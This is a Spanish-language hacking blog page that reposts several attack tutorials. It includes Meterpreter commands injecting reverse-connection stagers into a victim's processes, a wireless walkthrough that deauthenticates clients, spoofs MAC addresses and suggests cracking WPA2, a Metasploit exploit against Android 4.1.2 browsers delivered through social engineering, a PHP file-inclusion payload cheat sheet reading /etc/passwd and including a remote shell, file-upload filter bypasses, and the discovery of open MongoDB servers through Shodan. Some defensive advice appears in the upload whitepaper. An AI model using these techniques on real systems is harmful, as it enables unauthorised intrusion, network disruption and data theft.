Banner 1

Mostrando entradas con la etiqueta hacking. Mostrar todas las entradas
Mostrando entradas con la etiqueta hacking. Mostrar todas las entradas

Manipulación de Memoria sobre una maquina comprometida utilizando Meterpreter

0 comentarios
Meterpreter es bastante robusto a la hora de manipular la memoria de una víctima y los procesos cargados en ella, este nivel de potencia es alcanzado gracias a la definición de scripts meterpreter escritos en Ruby, ya que le permite al desarrollador crearlos y desplegarlos en metasploit o utilizar algunos existentes para diversos fines. En entradas anteriores se ha indicado el uso de algunos de estos scripts y herramientas adicionales como Volatility FrameWork y PMDump, en esta ocasión, se indicará el uso de algunos scripts adicionales para manipular la memoria de una victima determinada.

multi_meter_inject

Este script intentará crear una conexión reversa en la memoria de uno o muchos PID’s especificados por parámetro, en el caso de que estos PID no sean indicados, se iniciará por defecto un nuevo proceso con notepad.exe. Una de las principales ventajas de este script es que se pueden especificar múltiples host y multiples PID’s para crear el stager de meterpreter, esto significa que la sesión meterpreter creada, puede “replicarse” a otras maquinas en las que el atacante también tendrá un payload meterpreter esperando a la conexión del stager.
En resumen, el atacante tendrá la posibilidad de crear tantas sesiones meterpreter contra la maquina comprometida como maquinas disponga y cada una de estas sesiones será “insertada” en un proceso que se encuentra en ejecución en la maquina comprometida.
meterpreter > run multi_meter_inject -h Meterpreter Script for injecting a reverce tcp Meterpreter Payloadin to memory of multiple PIDs, if none is provided a notepad process.will be created and a Meterpreter Payload will be injected in to each.
OPTIONS:
-h Help menu.
-m Start Exploit multi/handler for return connection
-mp Provide Multiple PID for connections separated by comma one per IP.
-mr Provide Multiple IP Addresses for Connections separated by comma.
-p The port on the remote host where Metasploit is listening (default: 4444)
-pt Specify Reverse Connection Meterpreter Payload. Default windows/meterpreter/reverse_tcp
Un ejemplo de ejecución de este script puede ser el siguiente:
meterpreter > run multi_meter_inject -mr 192.168.1.36,192.168.1.37 -p 3344 -mp 628,792 [*] Creating a reverse meterpreter stager: LHOST=192.168.1.36 LPORT=3344
[*] Injecting meterpreter into process ID 628
[*] Allocated memory at address 0x00d60000, for 290 byte stager
[*] Writing the stager into memory…
[+] Successfully injected Meterpreter in to process: 628
[*] Creating a reverse meterpreter stager: LHOST=192.168.1.37 LPORT=3344
[*] Injecting meterpreter into process ID 792
[*] Allocated memory at address 0x003e0000, for 290 byte stager
[*] Writing the stager into memory…
[+] Successfully injected Meterpreter in to process: 792
Con el comando anterior, se han creado dos sesiones meterpreter controladas por el atacante en las direcciones 192.168.1.36 y 192.168.1.37 ambas escuchando por el puerto 3344, estas sesiones han sido insertadas en los procesos 628 y 792 respectivamente, cada uno de estos procesos corresponde a un programa en ejecución en la maquina comprometida.

duplicate

Este script tiene una funcionalidad bastante similar al script multi_meter_inject ya que se encarga de replicar la sesión meterpreter en otro proceso del sistema operativo con el fin de que sea difícil cerrar el acceso desde la maquina atacada a la maquina del atacante
meterpreter > run duplicate -h OPTIONS:
-D Disable the automatic multi/handler (use with -r to accept on another system)
-P Process id to inject into; use instead of -e if multiple copies of one executable are running.
-e Executable to inject into. Default notepad.exe, will fall back to spawn if not found.
-h This help menu
-p The port on the remote host where Metasploit is listening (default: 4546)
-r The IP of a remote Metasploit listening for the connect back
-s Spawn new executable to inject to. Only useful with -P.
-w Write and execute an exe instead of injecting into a process
A modo de ejemplo, este script puede ser ejecutado con los siguientes parámetros
meterpreter > run duplicate -r 192.168.1.34 -p 4444 [*] Creating a reverse meterpreter stager: LHOST=192.168.1.34 LPORT=4444
[*] Running payload handler
[*] Current server process: sgiByfbLo.exe (1780)
[*] Duplicating into notepad.exe…
[*] Injecting meterpreter into process ID 3884
[*] Allocated memory at address 0x00e10000, for 290 byte stager
[*] Writing the stager into memory…
[*] New server process: 3884
Con la maquina 192.168.1.34 controlada por el atacante en el puerto 4444 recibirá el stager correspondiente a la sesión meterpreter replicada.

process_memdump

En una entrada anterior se ha indicado el uso de pmdump para realizar un volcado de memoria usando un script de meterpreter externo al framework, con este comando se puede llevar a cabo esta misma tarea, solamente que en lugar de utilizar pmdump se utiliza memdump sobre el proceso seleccionado
meterpreter > run process_memdump -h USAGE:
EXAMPLE: run process_dump putty.exe
EXAMPLE: run process_dump -p 1234
OPTIONS:
-h Help menu.
-n Name of process to dump.
-p PID of process to dump.
-q Query the size of the Process that would be dump in bytes.
-r Text file wih list of process names to dump memory for, one per line.
-t toggle location information in dump.
Un ejemplo del uso de este script puede ser:
meterpreter > run process_memdump -p 556 [*] Dumping memory for iexplore.exe
[*] Dumping Memory of iexplore.exe with PID: 556
[*] base size = 64
[*] base size = 128
[*] base size = 192
[*] base size = 1224
[*] base size = 1228
[*] base size = 1280
[*] base size = 1344
[*] base size = 2368
[*] base size = 2432
[*] base size = 2496
[*] Saving Dumped Memory to /root/.msf3/logs/scripts/proc_memdump/192.168.1.36_iexplore.exe_556_20110512.0758.dmp


Fuente: http://thehackerway.com/2011/06/10/359/

Evadiendo Filtros de Mac y descubriendo SSID ocultos

0 comentarios

En este caso veremos como descubrir redes ocultas que esta técnica se usa para asegurar un poco mas nuestra red inalambrica, mediante el SSID oculto hacemos que nuestro accespoint no envié su nombre por lo cual pasara oculto a los dispositivos que busquen conectarse a una red, pero en este caso veremos como esta medida no es del 100% segura ya que no es nada difícil descubrir estos puntos de acceso ocultos..

 Y el otro caso es del filtrador por Mac, esta opción ya viene en la mayoría de los acces point esta opción nos sirve para nosotros poder especificar a que usuarios queremos dejar que se conecten a través de la red inalambrica, mediante una lista de las direcciones MAC de los equipos podemos permitir o denegar el servicio a nuestra red inalambrica. 
 Empecemos, el primer caso que son las redes ocultas que es cuando el acces point no envía ese identificador (SSID) que nosotros lo vemos como el nombre de la Red (infinitum, Axtel, Jaztel, Oficina) etc. Pero aun que el Acces Point no envie ese identificador, el sige enviando paquetes de Broadcast(Beacon Frames)  a que me refiero a que el Acces Point no te dira su nombre, pero si te esta diciendo Aqui estoy.. Aqui Estoy.. Utilizaremos nuestra tarjeta de red inalambrica y un Sniffer que en mi caso use Wireshark. 
Lo primero que haremos es ver nuestras interfaces Inalambricas que tengamos instalados en nuestra computadora.
 
Abriremos una Terminal y escribimos el comando Iwconfig  1 
 Bueno en mi caso usare mi tarjeta de Red inalambrica que tiene la Interfaz Wlan2.

 Lo siguiente que haremos sera convertir nuestra tarjeta de red inalambrica en un escucha de todos los paquetes que viajan en el aire, a lo que conocemos poner nuestra tarjeta en Modo Monitor. 
 
 Usaremos el comando airmon-ng start wlan2 2 
 Ustedes usen el comando con el nombre que tenga su interfaz de red inalambrica.
 Si les da algun error lo mas seguro es que sea por permisos asi que usen el comando sudo su para elevar sus privilegios y estar como super usuario. Esto hara que se nos habilite una interfaz en modo 
monitor que en mi caso es la mon0
  3 
 Ahora ya teniendo nuestra tarjeta de Red en Modo monitor procederemos a abrir nuestro Sniffer, que en mi caso usare el Wireshark. Hacemos click en Interface List y damos click en start en nuestra interfaz que esta en modo Monitor, en mi caso es mon0
  4 
Y comenzara a mostrarnos todo el trafico de los paquetes que van viajando en el aire. Al analizar los Beacon Frames veremos que la mayoría traen el nombre de la red, pero unos vienen como SSID=Broadcast que son los que buscamos, los que vienen sin el identificador, en otros casos pueden aparecer caracteres extraños en seguida de SSID=. 5
Analizaremos lo que trae dentro este paquete y encontraremos la Mac Addres del Acces Point, en este caso es un equipo Huaweii
 6 
 Ahora sabemos que la Mac Addres es 5c:4c:a9:57:f0:e4 y si seguimos analizando este paquete veremos que tambien nos muestra el Canal por donde se esta transmitiendo.
  7 
Ya tenemos la Mac Addres del acces point y sabemos que transmite a través del canal 5. ahora con esta informacion podemos usar una herramienta que viene incluida en la suite de aircrack que es el Airodump Usare el comando airodump-ng --channel 5  --bssid 5c:4c:a9:57:f0:e4 mon0 donde especifico el canal y el bssid del Acces point. 8 
Como pueden ver en el ESSD donde normalmente aparecen el nombre de las redes, aparece  Length: 0 que quiere decir que esta oculto el SSID. Para poder descubrir cual es el SSID de esta red hay dos formas, pasiva o activa La pasiva es esperar a que un cliente se asocie a la red mientras que nosotros monitoreamos el trafico de esta asociación. Usare un filtro en el Wireshark para que solo nos muestre el trafico que hay en ese Acces Point. 
 9 
Podemos ver los paquetes de Subtipo Probe Response que contienen la informacion que buscamos. Con esto ya sabremos el SSID de la red que en este caso es INFINITUM9a8b El problema de usar este método es que si tenemos algo de prisa o ningún cliente se conecta en ese momento no obtendríamos el nombre de la red tan fácil. Para estos casos que tengamos donde no queramos esperar a que alguien se conecte usaremos el método Activo. Este método forzaremos a que se envíen paquetes de Probe y Association para poder capturar el SSID de la red, para poder capturar estos paquetes nos tendremos que dar a la tarea  de interrumpir a un cliente para que su tarjeta de red se vea forzada a hacer una re-asociacion con el acces point. En este caso buscaremos los clientes conectados al accespoint para poder hacer el uso de paquetes DeAuth que es un subtipo de paquetes de Administracion y nos permitira interrumpir la conexion entre el cliente y accespoint. Usaremos el comando airodump-ng --bssid 5c:4c:a9:57:f0:e4 mon0 10 
En la parte inferior podremos ver los clientes asociados al acces point que tiene el SSID oculto, podemos ver donde dice STATION esta la MAC addres de este cliente que usaremos como victima para realizar la interrupción y forzarlo a la re-asociación con el Acces Point. Usaremos el comando aireplay-ng --deauth 0 -a 5C:4C:A9:57:F0:E4 -c 00:87:12:23:16:CD mon0 donde -a especificamos el Acces point y el -C especificaremos la mac addres del cliente a la cual le enviaremos los paquetes de desautenticacion. 11 
 Al hacer este proceso es importante que tengamos nuestro Sniffer corriendo en la interfaz que esta en modo monitor, ya que al  Desasociar al cliente del accespoint, el cliente volvera a negociar otra asociacion con paquetes de Probe Response y de Reassociation Request. 13 
Aqui podremos ver el trafico de esos paquetes DeAuth y como se realizo la reconexion del parte del cliente. En esta reasociacion veremos el nombre del SSID del acces point oculto. Bueno con esto ya hemos aprendido a descubrir las redes ocultas que como ven no es una medida muy segura para nuestros AP. Con esta informacion podemos auditar la red la cual en este caso podemos usar un Decrypter como el Mac2wepkey esto porque ya se ha descubierto el algoritmo para la generacion de Password por default de estos equipos Huaweii.. en caso de que hallan cambiado las credenciales, pues podemos proceder a auditarla que si es una WEP no nos tardaremos mas de 5 minutos en hacerlo. Y si esta un poco mas segura encontraremos un wpa2, pero pues con tiempo todo es posible, asi que a capturar handshake y a correrle tu mejor diccionario. Suponiendo que hemos encontrado el password del Acces point, pero al querer accesar no nos permite asociarnos, es porque muy seguramente use Filtrador por Mac Addres. Estos es sencillo de burlar siempre y cuando halla clientes conectados a ese accespoint. Usaremos el comando airodump-ng --bssid 5c:4c:a9:57:f0:e4 mon0 14 
Vemos que hay un cliente asociado a 5C:4C:A9:57:F0:E4  el cual es el Acces Point que queremos asociarnos, entonces lo que haremos sera spoofear nuestra Mac Addres por la del cliente, en este caso 00:4F:72:69:6F:6E Usaremos el comando macchanger -m 00:4F:72:69:6F:6E wlan2 15 
Si tienen errores recuerden detener todas las interfaces en modo monitor que tenian usado el comando airmon-ng stop mon0 Ya con esto tendremos acceso a la red.
                                                  16 
Saludos!

Fuente: http://www.estacion-informatica.com/2013/04/evadiendo-filtros-de-mac-y-descubriendo.html

Hackiar un pc sin estar conectado a internet.

0 comentarios
Buenas tardes.

Hace poco veiamos la noticia via RT donde se mostraba el concepto de como vulnerar una maquina que no estuviera conectada a internet cambiando asi la forma actual de pensar que al "cortar" la red de una maquina ya estaba segura de ataques externos.

Ahora veo una entrada mas explicada y un poco practica que he querido compartir:

_____________________________________________________________________________

Se ha publicado una PoC (Proof of Concept) de investigadores de la universidad Ben-Gurion donde explican cómo extraer información de un equipo aislado (no conectado a ninguna red) con un móvil debido a emisiones de radio mediante un malware desarrollado por ellos, llamado AirHopper.


El uso de tarjetas de vídeo, utilizando el cable que conecta el equipo con el monitor como antena, para la emisión de radio es un asunto poco novedoso. La novedad reside en el uso de dispositivos móviles con radio FM para perpetrar el ataque.
Comenzar diciendo que el ataque es complejo y llevarlo a cabo necesita de unas circunstancias particulares ya que requiere la instalación previa del malware en el equipo a extraer información así como en el dispositivo móvil. Además, la distancia entre el equipo y el móvil no debe ser superior a 7 m y consta de una tasa de transferencia de entre 13 bps y 60 bps lo cual va a dificultar la descarga de películas :).
El modelo de ataque consta de cuatro pasos:
  1.  Infección del equipo a "espiar" con AirHopper
  2.  Infección del móvil con AirHopper (aunque este paso podría no ser necesario si perteneciese al atacante).
  3.  Establecer el canal de control (Command and Control - C&C)
  4.  Detección de la señal y transmisión al atacante.
El primer escollo se encuentra en como infectar el equipo (fuera del objeto del artículo) con el malware ya que se supone que el atacante no tiene acceso al sistema. El informe remite a los famosos casos de Stuxnet o Agent.btz, y añadimos Flame y Duqu, para justificar la posibilidad real de ataque.
En la misma línea, se tiene que infectar el móvil (también fuera del objeto del artículo) aunque el rango de ataque es más amplio, ya que el móvil si tiene conexión con el exterior (3G, GPRS, Wireless, bluetooth o incluso la conexión física con otros dispositivos).
Una vez infectado los dispositivos, se debe establecer el canal de control a través de internet o por SMS con envío o recepción de mensajes sin aviso al usuario. El malware puede almacenar los datos si no fuese capaz de transmitir en un momento determinado para hacerlo posteriormente. Tras este paso, el malware monitorizará el canal de radio con el fin de detectar la señal deseada y su posterior decodificación.
La monitorización se puede realizar de forma continua, programada (por ejemplo dentro del rango horario del trabajador) o en función de la localización del dispositivo (vía GPS o Wireless).
Airhopper consta de dos componentes, uno dirigido a la capacidad de envío de datos del equipo aislado o el otro componente corresponde al receptor implementado en el móvil.
Debido a las limitaciones de los chip de los móviles a la hora de decodificar la señal FM, ésta sólo puede ser una señal audio, por lo que el equipo aislado tiene que codificar los datos (texto/binario) a audio y finalmente a una señal FM. De este modo el móvil tiene que hacer la decodificación contraria. Recibir una señal FM,  convertirla en audio y seguidamente en texto/binario.
Los datos que se van a transmitir vía radio hacia el móvil, deben ser enviados hacía la pantalla o monitor pero éstos deben ocultarse al usuario para mantener el anonimato de la operación y para ello puede utilizar tres técnicas:
  1. Transmitir cuando el monitor está apagado
  2. Apagar el monitor (como en el caso del salvapantallas)
  3. Conmutar con otro equipo. Puede detectar KVM y "jugar" con esta posibilidad para la ocultación de la transmisión/datos.
  4. También contempla la posibilidad de usar la característica de un segundo monitor, aunque esta opción sólo es válida cuando este monitor secundario está próximo al equipo. En el caso contrario, para presentaciones, conferencias, etc. no sería válido.
Para la transmisión de datos utiliza dos modos de transmisión, raw y structured.
  1.  Raw: Se recoge un array de bytes y se transmiten secuencialmente. No es "orientado a conexión". Ideal para texto y señales pequeñas (short signaling).
  2.  Structured: Perfecto para binarios con capacidad de detección de errores en la transmisión (pérdida o interrupción de transmisión).
Otra característica de Airhopper es que para reducir una posible detección accidental de la señal por un receptor FM se opta por extender la banda de recepción de 76 MHz a 108 MHz (frecuencia de transmisión 80 MHz). De 76 MHz hasta 87.5 MHz es utilizada en muy pocos países.
Para concluir las contramedidas propuestas están orientadas al aspecto TEMPEST. En nuestro país, según el grado de clasificación de la información a tratar se exige una protección anti-TEMPEST (amen de medidas de seguridad física y electrónicas) determinada que tiene que ir reforzada por procedimientos acordes. Ésta se puede dar a nivel de equipo o de local (más común). Una de esas medidas es no introducir elementos electrónicos sin la debida autorización.

Fuente: http://www.securitybydefault.com/2014/11/extraccion-de-datos-en-sistemas.html

Hackeando a android 4.1.2

0 comentarios
Hola a todos!

Hace un tiempo se descubrió una vulnerabilidad (CVE-2012-6636) que afectaba a las versiónes menores o iguales a 4.1.2 de Android (aproximadamente un 70% de dispositivos) la cual, explotaba un fallo en el navegador web de android gracias a un Javascript que permitia hacernos con el control del dispositivo.
La explotación de dicha vulnerabilidad es muy sencilla, solo es necesario un poco de habilidad en Ingenieria social, Metasploit y una victima con Android 4.1.2.
Para explotar esta vulnerabilidad, primero, ponemos en funcionamiento Metasploit:


sudo msfconsole
 
Una vez este todo preparado, pasamos a cargar el exploit:

msf > use exploit/android/browser/webview_addjavascriptinterface 

Acto seguido pasamos a editar la configuración de dicho exploit:

· SVRHOST = IP de servidor web que aloja el Javascript (Nuestra IP)
· URIPATH = Directorio en el servidor web donde se alojará el Script (Por ejemplo exploit o fotos)
· LHOST = IP a la que la victima se conectara una vez el exploit se haya ejecutado con éxito (Nuestra IP)

options
Si todo está en ordén, ya podemos poner en marcha nuestro exploit, el cual creará un servidor web para alojar el script y se pondrá a la escucha de nuevas conexiones:

exploit
 
Ahora solo quedaria hacer que la victima se conecte a nuestra Web para que el exploit tenga exto, como? mediante pura Ingeniera Social, por ejemplo, mediante un codigo QR. Si se conecta, tendremos el control total de su dispositivo.

phone















hack

Un Saludo!

Autor: SalvaCorts

Fuente: http://highsec.es/2014/09/hackeando-android-4-1-2/

Why File Upload Forms are a Major Security Threat

0 comentarios
To allow an end user to upload files to your website, is like opening another door for a malicious user to compromise your server.  Even though, in today’s modern internet web applications, it is a common requirement, because it helps in increasing your business efficiency.  File uploads are allowed in social network web applications, such as Facebook and Twitter.  They are also allowed in blogs, forums, e-banking sites, YouTube and also in corporate support portals, to give the opportunity to the end user to efficiently share files with corporate employees.  Users are allowed to upload images, videos, avatars and many other types of files.
The more functionality provided to the end user, the greater is the risk of having a vulnerable web application and the chance that such functionality will be abused from malicious users, to gain access to a specific website, or to compromise a server is very high.
While testing several web applications, we noticed that a good number of well known web applications, do not have secure file upload forms.  Some of these vulnerabilities were easily exploited, and we could gain access to the file system of the server hosting these web applications.  In this whitepaper, we present you with 8 common ways we encountered of securing file upload forms.  We also show how a malicious user, can easily bypass such security measures.

Case 1: Simple File Upload Form with no Validation

A simple file upload form usually consists of a HTML form and a PHP script.  The HTML form, is the form presented to the user, while the PHP script contains the code that takes care of the file upload.  Below is an example of such form and PHP script:
HTML Form:
<form enctype="multipart/form-data" action="uploader.php" method="POST"> <input type="hidden" name="MAX_FILE_SIZE" value="100000" /> Choose a file to upload: <input name="uploadedfile" type="file" />
<input type="submit" value="Upload File" /> </form>

PHP Code:

  1. $target_path  =  "uploads/";
  2. $target_path  =  $target_path  .  basename($_FILES['uploadedfile']['name']);
  3. if (move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
  4. echo "The file " . basename($_FILES['uploadedfile']['name']) . " has been uploaded";
  5. } else {
  6. echo "There was an error uploading the file, please try again!";
  7. }
  8. ?>

When PHP receives a POST request with encoding type multipart/form-data, it will create a temporary file with a random name in a temp directory (e.g. /var/tmp/php6yXOVs). PhP will also populate the global array $_FILES with the information about the uploaded file:
  • $_FILES[‘uploadedfile’][‘name’]: The original name of the file on the client machine
  • $_FILES[‘uploadedfile’][‘type’]: The mime type of the file
  • $_FILES[‘uploadedfile’][‘size’]: The size of the file in bytes
  • $_FILES[‘uploadedfile’][‘tmp_name’]: The temporary filename in which the uploaded file was stored on the server.
The PHP function move_uploaded_file will move the temporary file to a location provided by the user. In this case, the destination is below the server root. Therefore the files can be accessed using a URL like: https://www.domain.tld/uploads/uploadedfile.ext. In this simple example, there are no restrictions about the type of files allowed for upload and therefore an attacker can upload a PHP or .NET file with malicious code that can lead to a server compromise.
This might look like a naïve example, but we did encounter such code in a number of web applications.

Case 2: Mime Type Validation

Another common mistake web developers make when securing file upload forms, is to only check for mime type returned from PHP. When a file is uploaded to the server, PHP will set the variable $_FILES[‘uploadedfile’][‘type’] to the mime-type provided by the web browser the client is using. However, a file upload form validation cannot depend on this value only. A malicious user can easily upload files using a script or some other automated application that allows sending of HTTP POST requests, which allow him to send a fake mime-type.

Case 3: Block Dangerous Extensions

In other cases, we encountered file upload forms using a blacklist approach, as a security measure. A list of dangerous extensions is compiled from the developer, and the access is denied if the extension of the file being uploaded is on the compiled list.
One main disadvantage of using black listing of file extensions, is that it is almost impossible to compile a list that includes all possible extensions that an attacker can use. E.g. If the code is running in a hosted environment, usually such environments allow a large number of scripting languages, such as Perl, Python, Ruby etc, and the list can be endless.
A malicious user can easily bypass such check by uploading a file called “.htaccess”, which contains a line of code similar to the below:
AddType application/x-httpd-php .jpg
The above line of code, instructs Apache web server to execute jpg images as if they were PHP scripts. The attacker can now upload a file with a jpg extension, which contains PHP code. As seen in the screen shot below, requesting a jpg file which includes the PHP command phpinfo() from a web browser, it is still executed from the web server:
Why File Upload Forms are a Security Threat
Case 4: Double extensions (part 1)
This case’s security measures, as a concept are very similar to that one used in case 3. Though instead of simply checking the extension string present in the filename, the developer is extracting the file extension by looking for the ‘.’ character in the filename, and extracting the string after the dot character.
The method used to bypass this approach is a bit more complicated, but still realistic. First, let’s have a look at how Apache handles files with multiple extensions. A quote from the Apache manual states:
“Files can have more than one extension, and the order of the extensions is normally irrelevant. For example, if the file welcome.html.fr maps onto content type text/html and language French then the file welcome.fr.html will map onto exactly the same information. If more than one extension is given which maps onto the same type of meta-information, then the one to the right will be used, except for languages and content encodings. For example, if .gif maps to the MIME-type image/gif and .html maps to the MIME-type text/html, then the file welcome.gif.html will be associated with the MIME-type text/html.”
Therefore a file named ‘filename.php.123’, will be interpreted as a PHP file and will be executed. This only works if the last extension (in our case .123), is not specified in the list of mime-types known to the web server. Web developers, usually are not aware of such ‘feature’ in Apache, which can be very dangerous for a number of reasons. Knowing this, an attacker can upload a file named shell.php.123 and bypass the file upload form protection. The script will compute the last extension (.123), and concludes that this extension is not in the list of dangerous extension. Having said that, it is impossible to predict all the possible random extensions a malicious user will use to be able to upload a file on your web server.
Case 5: Double extensions (part 2)
A better approach to securing file upload forms is the white list approach. In this case, the developer defines a list of known/accepted extensions and does not allow extensions that are not specified in the list.
However, in some cases this approach will not work as expected. When Apache is configured to execute PHP code, there are 2 ways one can specify this: to use the AddHandler directive, or to use the AddType directive. If AddHandler directive is used, all filenames containing the ‘.php’ extension (e.g. ‘.php’, ‘.php.jpg’) will be executed as a PHP script. Therefore, if your Apache configuration file contains the following line, you may be vulnerable:
AddHandler php5-script .php
An attacker can upload a file named ‘filename.php.jpg’ and bypass the protection, and will be able to execute the code.
Case 6: Checking the image header
When images only are allowed to be uploaded, developers usually validate the image header by using the PHP function called getimagesize. When called, this function will return the size of an image. If the image validation is invalid, which means that the header is incorrect, the function will return a false. Therefore a developer typically checks if the function returns a true or false, and validate the uploaded file using this information. So, if a malicious user tries to upload a simple PHP shell embedded in a jpg file, the function will return false and he won’t be allowed to upload the file. However, even this approach can be easily bypassed. If a picture is opened in an image editor, like Gimp, one can edit the image comment, where PHP code is inserted, as shown below.
The image will still have a valid header; therefore it bypasses the getimagesize PHP check. As seen in the screen shot below, the PHP code inserted in the image comments still gets executed when the image is requested from a normal web browser:
Case 7: Protecting the upload folder with .htaccess
Another popular way of securing file upload forms, is to protect the folder where the files are uploaded using .htaccess file. The idea is to restrict execution of script files in this folder. A .htaccess file typically contains the below code when used in this kind of scenario:
AddHandler cgi-script .php .php3 .php4 .phtml .pl .py .jsp .asp .htm .shtml .sh .cgi
Options –ExecCGI
The above is another type of blacklist approach, which in itself is not very secure. In the PHP manual, in the move_uploaded_file section, there is a warning which states ‘If the destination file already exists, it will be overwritten.’
Because uploaded files can and will overwrite the existing ones, a malicious user can easily replace the .htaccess file with his own modified version. This will allows him to execute specific scripts which can help him compromise the server.
Case 8: Client-side validation
Another common type of security used in file upload forms, is client-side validation of files to be uploaded. Typically, such approach is more common in ASP.NET applications, since ASP.NET offers easy to use validation controls.
These types of validation controls, allow a developer to do regular-expression checks upon the file that is being uploaded, to check that the extension of the file being uploaded is specified in the list of allowed extensions. Below is a sample code, taken from the Microsoft’s website:

  1. "FileUpload1"
runat="server" />
  •  
  • "Button1"
  • runat="server" OnClick="Button1_Click" Text="Upload File" /> 
  •  
  • "Label1"
  • runat="server">
  • "RegularExpressionValidator1"
  • runat="server"
  • ErrorMessage="Only mp3, m3u or mpeg files are allowed!"
  • ValidationExpression="^(([a-zA-Z]:)|(\\{2}\w+)\$?)(\\(\w[\w].*))
  • +(.mp3|.MP3|.mpeg|.MPEG|.m3u|.M3U)$" ControlToValidate="FileUpload1">
  •  
  • "RequiredFieldValidator1"
  • runat="server"
  • ErrorMessage="This is a required field!"
  • ControlToValidate="FileUpload1">
  •  

  • This ASP.NET code uses validation controls, so the end user is only allowed to upload .mp3, .mpeg or .m3u files to the web server. If the file type does not match any of the 3 specified extensions, the validation control throws an exception and the file won’t be uploaded.
    Because this type of validation is done on the client side, a malicious user can easily bypass this type of validation. It is possible to write a short client side script that will do the validation instead of the script provided by the web application. Without using a web browser, the attacker can use an application that allows sending of HTTP POST requests to be able to upload the file.
    Suggested Solution
    Below is a list of best practices that should be enforced when file uploads are allowed on websites and web applications. These practices will help you securing file upload forms used in web applications;
    • Define a .htaccess file that will only allow access to files with allowed extensions.
    • Do not place the .htaccess file in the same directory where the uploaded files will be stored. It should be placed in the parent directory.
    • A typical .htaccess which allows only gif, jpg, jpeg and png files should include the following (adapt it for your own need). This will also prevent double extension attacks.

    deny from all
    order deny,allow
    allow from all

    • If possible, upload the files in a directory outside the server root.
    • Prevent overwriting of existing files (to prevent the .htaccess overwrite attack).
    • Create a list of accepted mime-types (map extensions from these mime types).
    • Generate a random file name and add the previously generated extension.
    • Don’t rely on client-side validation only, since it is not enough. Ideally one should have both server-side and client-side validation implemented.
    Conclusion

    As seen above, there are many ways how a malicious user can bypass file upload form security. For this reason, when implementing a file upload form in a web application, one should make sure to follow correct security guidelines and test them properly. Unfortunately, to perform the number of tests required, can take a lot of time and require a good amount of web security expertise.
    Though with Acunetix WVS, one can automatically perform file upload forms vulnerability tests without the need of web security expertise. Acunetix WVS provides the developer with extensive amount of information to be able to trace and fix the problem in the least possible time.
    Visit https://www.acunetix.com/vulnerability-scanner/ for more information on Acunetix Web Vulnerability Scanner.

    Bogdan Calin, May 2009
    Download this whitepaper as PDF.

    Exploiting PHP File Inclusion – Overview

    0 comentarios
    Para ver mejor la forma de explotación remitir a la fuente.

    Recently I see a lot of questions regarding PHP File Inclusions and the possibilities you have. So I decided to give a small overview. All the tricks have been described in detail somewhere earlier, but I like it to have them summed up at one place.

    Basic Local File Inclusion:


    1
    include("inc/" . $_GET['file']); ?>

    • Including files in the same directory:
      ?file=.htaccess
    • Path Traversal:
      ?file=../../../../../../../../../var/lib/locate.db
      (this file is very interesting because it lets you search the filesystem, other files)
    • Including injected PHP code:
      ?file=../../../../../../../../../var/log/apache/error.log
      Limited Local File Inclusion:
      1
      include("inc/" . $_GET['file'] . ".htm"); ?>
      • Null Byte Injection:
        ?file=../../../../../../../../../etc/passwd
        (requires magic_quotes_gpc=off)
      • Directory Listing with Null Byte Injection:
        ?file=../../../../../../../../../var/www/accounts/
        (UFS filesystem only, requires magic_quotes_gpc=off, more details here)
      • Path Truncation:
        ?file=../../../../../../../../../etc/passwd.\.\.\.\.\.\.\.\.\.\.\ …
        (more details see here and here)
      • Dot Truncation:
        ?file=../../../../../../../../../etc/passwd……………. …
        (Windows only, more details here)
      • Reverse Path Truncation:
        ?file=../../../../ [...] ../../../../../etc/passwd
        (more details here)
      Basic Remote File Inclusion
      1
      include($_GET['file']); ?>
      • Including Remote Code:
        ?file=[http|https|ftp]://websec.wordpress.com/shell.txt
        (requires allow_url_fopen=On and allow_url_include=On)
      • Using PHP stream php://input:
        ?file=php://input
        (specify your payload in the POST parameters, watch urlencoding, details here, requires allow_url_include=On)
      • Using PHP stream php://filter:
        ?file=php://filter/convert.base64-encode/resource=index.php
        (lets you read PHP source because it wont get evaluated in base64. More details here and here)
      • Using data URIs:
        ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
        (requires allow_url_include=On)
      • Using XSS:
        ?file=http://127.0.0.1/path/xss.php?xss=phpcode
        (makes sense if firewalled or only whitelisted domains allowed)
      Limited Remote File Inclusion
      1
      include($_GET['file'] . ".htm"); ?>
      • ?file=http://websec.wordpress.com/shell
      • ?file=http://websec.wordpress.com/shell.txt?
      • ?file=http://websec.wordpress.com/shell.txt%23
      • (requires allow_url_fopen=On and allow_url_include=On)
      • ?file=\\evilshare\shell.php
      • (bypasses allow_url_fopen=Off)
      Static Remote File Inclusion:
      • Man In The Middle
        (lame indeed, but often forgotten)
      Filter evasion
      • Access files with wildcards (read more here)
      Of course you can combine all the tricks. If you are aware of any other or interesting files to include please leave a comment and I’ll add them.
    Fuente: http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/

    Links de interés:

    http://projects.webappsec.org/w/page/13246949/Null%20Byte%20Injection
    http://www.theprohack.com/2009/07/null-byte-hack.html
    http://hakipedia.com/index.php/Poison_Null_Byte
    https://www.owasp.org/index.php/Unrestricted_File_Upload --Completo

    Shodan: MongoDB está de moda

    0 comentarios
     En este artículo hablaremos de Shodan y MongoDB. El motor de base de datos se está convirtiendo en una solución muy cotizada en lo referente a NoSQL, mientras que Shodan se ha postrado como un enemigo para algunos gobiernos, ya que algunas de las búsquedas revelan información que no debería estar, digamos, tan accesible. 
    Para ejemplificar lo que se puede encontrar con Shodan se va a proceder a realizar una búsqueda para encontrar servidores que ofrecen el servicio MongoDB. ¿Podremos acceder a sistemas MongoDB? ¿Estarán cacheados por el motor de búsqueda? Y por último, ¿Tendrán contraseñas por defecto? Deciros que su contraseña por defecto, es que no tiene contraseña, así es una instalación de MongoDB...


    Una vez encontrados los servicios que se requieren se prueba la conexión a éstos. En la mayoría de los casos la lógica dice que estarán protegidos, pero siempre se debe probar, ya que en muchas ocasiones puede haber sorpresas. Existen diversos clientes para conectarnos a este tipo de sistemas, por ejemplo podemos utilizar MongoVUE.


    Sorpresa! Tenemos la conexión realizada, por lo que debemos cuidar la configuración por defecto de nuestros sistemas. Un buen Sysadmin debe chequear, y verificar que sus configuraciones no son por defecto. Shodan puede ser utilizado para encontrar puntos débiles en infraestructuras críticas, ya que este tipo de infraestructuras no se encuentran muy protegidas actualmente. Gracias a Shodan...

    Fuente: http://www.flu-project.com/2014/09/shodan-mongodb-esta-de-moda.html

    Comprometer una máquina con sólo conectarse a la red

    0 comentarios
